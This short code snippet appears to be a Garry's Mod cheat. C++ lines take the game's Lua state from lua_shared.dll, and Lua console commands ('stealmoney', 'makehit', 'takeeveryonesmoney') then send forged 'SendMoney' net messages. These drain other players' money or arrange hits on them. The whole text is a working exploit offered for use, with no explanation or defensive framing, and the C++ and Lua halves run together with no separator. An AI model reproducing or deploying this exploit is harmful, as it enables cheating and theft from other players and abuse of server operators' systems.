
ILuaShared* shared;
CreateInterfaceFn factory = Sys_GetFactory("lua_shared.dll");
shared = (ILuaShared*)factory(GMOD_LUASHARED_INTERFACE, NULL);
lua_State* state = shared->GetLuaInterface(0)->GetLuaState();
local c = concommand
local add = c.Add
function GetPlayerByName( name )
for k, v in pairs( player.GetAll() ) do
if( string.find( string.lower( v:Name() ), string.lower( name ) ) ) then
return v
end
end
end
add( "stealmoney", function( ply, cmd, args, str )
net.Start( "SendMoney" )
net.WriteEntity( GetPlayerByName( args[1] ) )
net.WriteEntity( GetPlayerByName( args[1] ) )
net.WriteEntity( GetPlayerByName( args[1] ) )
net.WriteString( args[2] )
net.SendToServer()
end )
add( "makehit", function( ply, cmd, args, str )
net.Start( "SendMoney" )
net.WriteEntity( GetPlayerByName( args[1] ) )
net.WriteEntity( GetPlayerByName( args[2] ) )
net.WriteEntity( nil )
net.WriteString( args[3] )
net.SendToServer()
end )
add( "takeeveryonesmoney", function()
for k, v in pairs( player.GetAll() ) do
RunConsoleCommand( "stealmoney", v:Nick(), "999999999999999999")
end
end )